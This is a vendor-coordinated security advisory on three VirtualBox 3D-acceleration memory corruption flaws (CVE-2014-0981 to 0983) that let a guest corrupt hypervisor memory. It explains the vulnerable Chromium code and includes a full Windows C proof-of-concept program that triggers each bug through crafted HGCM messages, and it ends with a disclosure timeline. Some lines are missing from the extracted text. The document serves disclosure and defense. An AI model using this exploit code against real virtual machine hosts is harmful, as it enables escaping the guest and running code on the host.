Oracle VirtualBox 3D Acceleration Memory Corruption Vulnerability

VirtualBox is a general-purpose full virtualizer for x86 hardware,

targeted at server, desktop and embedded use.

VirtualBox provides -among many other features- 3D Acceleration for

through its Guest Additions. This feature allows guest machines to use

the host machine's

GPU to render 3D graphics based on then OpenGL or Direct3D APIs.

Multiple memory corruption vulnerabilities have been found in the code

3D Acceleration for OpenGL graphics in Oracle VirtualBox.

These vulnerabilities could allow an attacker who is already running

a Guest OS to escape from the virtual machine and execute arbitrary code

4. *Vulnerable packages*

. Oracle VirtualBox v4.2.20 and earlier.

. Oracle VirtualBox v4.3.6 and earlier.

. Other versions may be affected too but they were no checked.

5. *Non-vulnerable packages*

. Oracle VirtualBox v4.3.8.

This vulnerability was discovered and researched by Francisco Falcon from

Core Exploit Writers Team. The publication of this advisory was coordinated

by Andres Blanco from Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

VirtualBox makes use of the *Chromium*[1] open-source library

(not to be confused with the open-source web browser) in order to

provide 3D Acceleration for OpenGL graphics.

Chromium provides remote rendering of OpenGL graphics through a

client/server model, in which

a client (i.e. an OpenGL application) delegates the rendering to the

server, which has access

to 3D-capable hardware.

When 3D Acceleration is enabled in VirtualBox, OpenGL apps running

(acting as Chromium clients) will send rendering commands to the

Chromium server, which is

running in the context of the hypervisor in the Host OS.

The code that handles OpenGL rendering commands on the Host side is

prone to multiple memory

corruption vulnerabilities, as described below.

7.1. *VirtualBox crNetRecvReadback Memory Corruption Vulnerability*

[CVE-2014-0981] The first vulnerability is caused by a *design flaw* in

Chromium. The Chromium server makes use

of "*network pointers*". As defined in Chromium's documentation,

'"Network pointers are

simply memory addresses that reside on another machine.[...] The

networking layer will then

take care of writing the payload data to the specified address."'[2]

So the Chromium's server code, which runs in the context of the

VirtualBox hypervisor

in the Host OS, provides a write-what-where memory corruption primitive

*by design*, which

can be exploited to corrupt arbitrary memory addresses with arbitrary

data in the hypervisor process

from within a virtual machine.

This is the code of the vulnerable function [file

'src/VBox/GuestHost/OpenGL/util/net.c'], which can

be reached by sending a 'CR_MESSAGE_READBACK' message to the

'VBoxSharedCrOpenGL' service:

* Called by the main receive function when we get a CR_MESSAGE_READBACK

* message. Used to implement glGet*() functions.

crNetRecvReadback( CRMessageReadback *rb, unsigned int len )

/* minus the header, the destination pointer,

* *and* the implicit writeback pointer at the head. */

int payload_len = len - sizeof( *rb );

crMemcpy( &writeback, &(rb->writeback_ptr), sizeof( writeback ) );

crMemcpy( &dest_ptr, &(rb->readback_ptr), sizeof( dest_ptr ) );

crMemcpy( dest_ptr, ((char *)rb) + sizeof(*rb), payload_len );

Note that 'rb' points to a 'CRMessageReadback' structure, which is fully

application running inside a VM that is sending OpenGL rendering

commands to the Host side.

The 'len' parameter is also fully controlled from the Guest side, so

1. decrement the value stored at any memory address within the

address space of the hypervisor.

2. write any data to any memory address within the address space of

7.2. *VirtualBox crNetRecvWriteback Memory Corruption Vulnerability*

[CVE-2014-0982] The second vulnerability is closely related to the first

one, and it's also caused by Chromium's

"*network pointers*".

This is the code of the vulnerable function [file

'src/VBox/GuestHost/OpenGL/util/net.c'], which can

be reached by sending a 'CR_MESSAGE_WRITEBACK' message to the

'VBoxSharedCrOpenGL' service:

* Called by the main receive function when we get a CR_MESSAGE_WRITEBACK

* message. Writeback is used to implement glGet*() functions.

crNetRecvWriteback( CRMessageWriteback *wb )

crMemcpy( &writeback, &(wb->writeback_ptr), sizeof( writeback ) );

Note that 'rb' points to a 'CRMessageWriteback' structure, which is

fully controlled by the

application running inside a VM that is sending OpenGL rendering

commands to the Host side, so it's possible to

decrement the value stored at any memory address within the address

space of the hypervisor.

7.3. *VirtualBox crServerDispatchVertexAttrib4NubARB Memory Corruption

[CVE-2014-0983] When an OpenGL application running inside a VM sends

rendering commands (in the form of opcodes + data for those opcodes)

a 'CR_MESSAGE_OPCODES' message, the Chromium server will handle them in

the 'crUnpack' function.

The code for the 'crUnpack' function is automatically generated by the

Python script located

at 'src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py'.

This function is basically a big switch statement dispatching different

functions according to the opcode being processed:

void crUnpack( const void *data, const void *opcodes,

unsigned int num_opcodes, SPUDispatchTable *table )

unpack_opcodes = (const unsigned char *)opcodes;

cr_unpackData = (const unsigned char *)data;

for (i = 0 ; i < num_opcodes ; i++)

/*crDebug("Unpacking opcode \%d", *unpack_opcodes);*/

switch( *unpack_opcodes )

case CR_ALPHAFUNC_OPCODE: crUnpackAlphaFunc(); break;

case CR_ARRAYELEMENT_OPCODE: crUnpackArrayElement(); break;

case CR_BEGIN_OPCODE: crUnpackBegin(); break;

When the opcode being processed is 'CR_VERTEXATTRIB4NUBARB_OPCODE'

the function to be invoked is 'crUnpackVertexAttrib4NubARB':

case CR_VERTEXATTRIB4NUBARB_OPCODE: crUnpackVertexAttrib4NubARB();

The 'crUnpackVertexAttrib4NubARB' function reads 5 values from the

opcode data sent by the Chromium client,

and just invokes 'cr_unpackDispatch.VertexAttrib4NubARB' with those 5

values as arguments:

static void crUnpackVertexAttrib4NubARB(void)

GLuint index = READ_DATA( 0, GLuint );

GLubyte x = READ_DATA( 4, GLubyte );

GLubyte y = READ_DATA( 5, GLubyte );

GLubyte z = READ_DATA( 6, GLubyte );

GLubyte w = READ_DATA( 7, GLubyte );

cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w );

INCR_DATA_PTR( 8 );

'VertexAttrib4NubARB' is a function pointer in a dispatch table, and

points to the function

'crServerDispatchVertexAttrib4NubARB', whose code is generated by the

Python script located at

'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py':

void SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB(

GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w )

cr_server.head_spu->dispatch_table.VertexAttrib4NubARB( index, x, y,

cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData;

Note that the 'index' parameter, which is a 4-byte integer coming from

an untrusted source (the opcode data

sent by the Chromium client from the VM), is used as an index within the

'cr_server.current.c.vertexAttrib.ub4'

array in order to write 'cr_unpackData' (which is a pointer to the

attacker-controlled opcode data), without

validating that the index is within the bounds of the array.

This issue can be leveraged to corrupt arbitrary memory with a pointer

to attacker-controlled data.

Also note that *the same vulnerability affects several functions* whose

code is generated by the

'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py'

Opcode CR_VERTEXATTRIB1DARB_OPCODE [0xDE] -> function

crServerDispatchVertexAttrib1dARB

Opcode CR_VERTEXATTRIB1FARB_OPCODE [0xDF] -> function

crServerDispatchVertexAttrib1fARB

Opcode CR_VERTEXATTRIB1SARB_OPCODE [0xE0] -> function

crServerDispatchVertexAttrib1sARB

Opcode CR_VERTEXATTRIB2DARB_OPCODE [0xE1] -> function

crServerDispatchVertexAttrib2dARB

Opcode CR_VERTEXATTRIB2FARB_OPCODE [0xE2] -> function

crServerDispatchVertexAttrib2fARB

Opcode CR_VERTEXATTRIB2SARB_OPCODE [0xE3] -> function

crServerDispatchVertexAttrib2sARB

Opcode CR_VERTEXATTRIB3DARB_OPCODE [0xE4] -> function

crServerDispatchVertexAttrib3dARB

Opcode CR_VERTEXATTRIB3FARB_OPCODE [0xE5] -> function

crServerDispatchVertexAttrib3fARB

Opcode CR_VERTEXATTRIB3SARB_OPCODE [0xE6] -> function

crServerDispatchVertexAttrib3sARB

Opcode CR_VERTEXATTRIB4NUBARB_OPCODE [0xEA] -> function

crServerDispatchVertexAttrib4NubARB

Opcode CR_VERTEXATTRIB4DARB_OPCODE [0xEF] -> function

crServerDispatchVertexAttrib4dARB

Opcode CR_VERTEXATTRIB4FARB_OPCODE [0xF0] -> function

crServerDispatchVertexAttrib4fARB

Opcode CR_VERTEXATTRIB4SARB_OPCODE [0xF2] -> function

crServerDispatchVertexAttrib4sARB

7.4. *Proof of Concept*

#include "stdafx.h"

#include <windows.h>

#include "vboxguest2.h"

#include "vboxguest.h"

#include "vboxcropenglsvc.h"

#include "cr_protocol.h"

#define VBOXGUEST_DEVICE_NAME "\\\\.\\VBoxGuest"

HANDLE open_device(){

HANDLE hDevice = CreateFile(VBOXGUEST_DEVICE_NAME,

GENERIC_READ | GENERIC_WRITE,

FILE_SHARE_READ | FILE_SHARE_WRITE,

FILE_ATTRIBUTE_NORMAL,

if (hDevice == INVALID_HANDLE_VALUE){

printf("[-] Could not open device %s .\n", VBOXGUEST_DEVICE_NAME);

exit(EXIT_FAILURE);

printf("[+] Handle to %s: 0x%X\n", VBOXGUEST_DEVICE_NAME, hDevice);

uint32_t do_connect(HANDLE hDevice){

VBoxGuestHGCMConnectInfo info;

DWORD cbReturned = 0;

memset(&info, 0, sizeof(info));

info.Loc.type = VMMDevHGCMLoc_LocalHost_Existing;

strcpy(info.Loc.u.host.achName, "VBoxSharedCrOpenGL");

rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, &info,

sizeof(info), &info, sizeof(info), &cbReturned, NULL);

printf("ERROR: DeviceIoControl failed in function do_connect()!

LastError: %d\n", GetLastError());

exit(EXIT_FAILURE);

if (info.result == VINF_SUCCESS){

printf("HGCM connect was successful: client id =0x%x\n",

info.u32ClientID);

//If 3D Acceleration is disabled, info.result value will be -2900.

printf("[-] HGCM connect failed. Result: %d (Is 3D Acceleration

enabled??)\n", info.result);

exit(EXIT_FAILURE);

return info.u32ClientID;

void do_disconnect(HANDLE hDevice, uint32_t u32ClientID){

VBoxGuestHGCMDisconnectInfo info;

DWORD cbReturned = 0;

memset(&info, 0, sizeof(info));

info.u32ClientID = u32ClientID;

printf("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message...\n");

rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT,

&info, sizeof(info), &info, sizeof(info), &cbReturned, NULL);

printf("ERROR: DeviceIoControl failed in function

do_disconnect()! LastError: %d\n", GetLastError());

exit(EXIT_FAILURE);

if (info.result == VINF_SUCCESS){

printf("HGCM disconnect was successful.\n");

printf("[-] HGCM disconnect failed. Result: %d\n", info.result);

exit(EXIT_FAILURE);

void set_version(HANDLE hDevice, uint32_t u32ClientID){

CRVBOXHGCMSETVERSION parms;

DWORD cbReturned = 0;

memset(&parms, 0, sizeof(parms));

parms.hdr.result = VERR_WRONG_ORDER;

parms.hdr.u32ClientID = u32ClientID;

parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_VERSION;

parms.hdr.cParms = SHCRGL_CPARMS_SET_VERSION;

parms.vMajor.type = VMMDevHGCMParmType_32bit;

parms.vMajor.u.value32 = CR_PROTOCOL_VERSION_MAJOR;

parms.vMinor.type = VMMDevHGCMParmType_32bit;

parms.vMinor.u.value32 = CR_PROTOCOL_VERSION_MINOR;

rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,

sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

printf("ERROR: DeviceIoControl failed in function set_version()!

LastError: %d\n", GetLastError());

exit(EXIT_FAILURE);

if (parms.hdr.result == VINF_SUCCESS){

printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);

printf("Host didn't accept our version.\n");

exit(EXIT_FAILURE);

void set_pid(HANDLE hDevice, uint32_t u32ClientID){

CRVBOXHGCMSETPID parms;

DWORD cbReturned = 0;

memset(&parms, 0, sizeof(parms));

parms.hdr.result = VERR_WRONG_ORDER;

parms.hdr.u32ClientID = u32ClientID;

parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_PID;

parms.hdr.cParms = SHCRGL_CPARMS_SET_PID;

parms.u64PID.type = VMMDevHGCMParmType_64bit;

parms.u64PID.u.value64 = GetCurrentProcessId();

rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,

sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

printf("ERROR: DeviceIoControl failed in function set_pid()!

LastError: %d\n", GetLastError());

exit(EXIT_FAILURE);

if (parms.hdr.result == VINF_SUCCESS){

printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);

printf("Host didn't like our PID %d\n", GetCurrentProcessId());

exit(EXIT_FAILURE);

/* Triggers the vulnerability in the crNetRecvReadback function. */

void trigger_message_readback(HANDLE hDevice, uint32_t u32ClientID){

CRVBOXHGCMINJECT parms;

DWORD cbReturned = 0;

char mybuf[1024];

CRMessageReadback msg;

memset(&msg, 0, sizeof(msg));

msg.header.type = CR_MESSAGE_READBACK;

msg.header.conn_id = 0x8899;

//This address will be decremented by 1

*((DWORD *)&msg.writeback_ptr.ptrSize) = 0x88888888;

//Destination address for the memcpy

*((DWORD *)&msg.readback_ptr.ptrSize) = 0x99999999;

memcpy(&mybuf, &msg, sizeof(msg));

strcpy(mybuf + sizeof(msg), "Hi hypervisor!");

memset(&parms, 0, sizeof(parms));

parms.hdr.result = VERR_WRONG_ORDER;

parms.hdr.u32ClientID = u32ClientID;

parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;

parms.hdr.cParms = SHCRGL_CPARMS_INJECT;

parms.u32ClientID.type = VMMDevHGCMParmType_32bit;

parms.u32ClientID.u.value32 = u32ClientID;

parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;

parms.pBuffer.u.Pointer.size = sizeof(mybuf); //size for the

memcpy: sizeof(mybuf) - 0x18

parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;

rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,

sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

printf("ERROR: DeviceIoControl failed in function

trigger_message_readback()!. LastError: %d\n", GetLastError());

exit(EXIT_FAILURE);

if (parms.hdr.result == VINF_SUCCESS){

printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);

printf("HGCM Call failed. Result: %d\n", parms.hdr.result);

exit(EXIT_FAILURE);

/* Triggers the vulnerability in the crNetRecvWriteback function. */

void trigger_message_writeback(HANDLE hDevice, uint32_t u32ClientID){

CRVBOXHGCMINJECT parms;

DWORD cbReturned = 0;

char mybuf[512];

memset(&mybuf, 0, sizeof(mybuf));

memset(&msg, 0, sizeof(msg));

msg.writeback.header.type = CR_MESSAGE_WRITEBACK;

msg.writeback.header.conn_id = 0x8899;

//This address will be decremented by 1

*((DWORD *)msg.writeback.writeback_ptr.ptrSize) = 0xAABBCCDD;

memcpy(&mybuf, &msg, sizeof(msg));

strcpy(mybuf + sizeof(msg), "dummy");

memset(&parms, 0, sizeof(parms));

parms.hdr.result = VERR_WRONG_ORDER;

parms.hdr.u32ClientID = u32ClientID;

parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;

parms.hdr.cParms = SHCRGL_CPARMS_INJECT;

parms.u32ClientID.type = VMMDevHGCMParmType_32bit;

parms.u32ClientID.u.value32 = u32ClientID;

parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;

parms.pBuffer.u.Pointer.size = sizeof(mybuf);

parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;

rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,

sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

printf("ERROR: DeviceIoControl failed in function

trigger_message_writeback()! LastError: %d\n", GetLastError());

exit(EXIT_FAILURE);

if (parms.hdr.result == VINF_SUCCESS){

printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);

printf("HGCM Call failed. Result: %d\n", parms.hdr.result);

exit(EXIT_FAILURE);

/* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB

void trigger_opcode_0xea(HANDLE hDevice, uint32_t u32ClientID){

CRVBOXHGCMINJECT parms;

char mybuf[0x10f0];

DWORD cbReturned = 0;

unsigned char opcodes[] = {0xFF, 0xea, 0x02, 0xf7};

DWORD opcode_data[] =

{0x08, //Advance 8 bytes

after executing opcode 0xF7, subopcode 0x30

0x30, //Subopcode for opcode 0xF7

0x331, //Argument for opcode 0x02

0xFFFCFA4B, //This is the

negative index used to trigger the memory corruption

0x41414141}; //Junk

CRMessageOpcodes msg_opcodes;

memset(&mybuf, 0, sizeof(mybuf));

memset(&msg_opcodes, 0, sizeof(msg_opcodes));

msg_opcodes.header.conn_id = 0x8899;

msg_opcodes.header.type = CR_MESSAGE_OPCODES;

msg_opcodes.numOpcodes = sizeof(opcodes);

char *offset = (char *)&mybuf;

memcpy(offset, &msg_opcodes, sizeof(msg_opcodes));

offset += sizeof(msg_opcodes);

/*----- Opcodes -----*/

memcpy(offset, &opcodes, sizeof(opcodes));

offset += sizeof(opcodes);

/*----- data for the opcodes -----*/

memcpy(offset, &opcode_data, sizeof(opcode_data));

offset += sizeof(opcode_data);

memset(&parms, 0, sizeof(parms));

parms.hdr.result = 0;

parms.hdr.u32ClientID = u32ClientID;

parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;

parms.hdr.cParms = SHCRGL_CPARMS_INJECT;

parms.u32ClientID.type = VMMDevHGCMParmType_32bit;

parms.u32ClientID.u.value32 = u32ClientID;

parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;

parms.pBuffer.u.Pointer.size = sizeof(mybuf);

parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;

rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,

sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

printf("ERROR: DeviceIoControl failed in function

trigger_opcode_0xea()! LastError: %d\n", GetLastError());

exit(EXIT_FAILURE);

if (parms.hdr.result == VINF_SUCCESS){

printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);

printf("HGCM Call failed. Result: %d\n", parms.hdr.result);

exit(EXIT_FAILURE);

void poc(int option){

uint32_t u32ClientID;

/* Connect to the VBoxSharedCrOpenGL service */

hDevice = open_device();

u32ClientID = do_connect(hDevice);

/* Set version and PID */

set_version(hDevice, u32ClientID);

set_pid(hDevice, u32ClientID);

switch (option){

printf("[1] triggering the first bug...\n");

trigger_message_readback(hDevice, u32ClientID);

printf("[2] triggering the second bug...\n");

trigger_message_writeback(hDevice, u32ClientID);

printf("[3] triggering the third bug...\n");

trigger_opcode_0xea(hDevice, u32ClientID);

printf("[!] Unknown option %d.\n", option);

/* Disconnect from the VBoxSharedCrOpenGL service */

do_disconnect(hDevice, u32ClientID);

CloseHandle(hDevice);

int main(int argc, char* argv[])

printf("Usage: %s <option number>\n\n", argv[0]);

printf("* Option 1: trigger the vulnerability in the

crNetRecvReadback function.\n");

printf("* Option 2: trigger the vulnerability in the

crNetRecvWriteback function.\n");

printf("* Option 3: trigger the vulnerability in the

crServerDispatchVertexAttrib4NubARB function.\n");

poc(atoi(argv[1]));

8. *Report Timeline*

Core Security Technologies notifies the VirtualBox team of the

Publication date is set for March 4th, 2014.

Vendor acknowledges the receipt of the information. Vendor asks to

the release for April 15, 2014 which is the earliest possible date for

this issue from Oracle.

Core schedules the advisory publication for April 15, 2014 and asks

for regular status reports.

First release date missed.

Vendor releases fixes of some affected versions [3][4].

Core notifies that, given that some patches were disclosed,

the advisory will we released as user release ASAP.

Vendor asks for delaying the advisory publication given that

some versions are still vulnerable.

Core notifies that the advisory is going to be published because

once the fixes have been made public the vulnerability is public as well.

Vendor notifies that they will not include credit to Core researchers

given that the advisory is being published before a fix is available to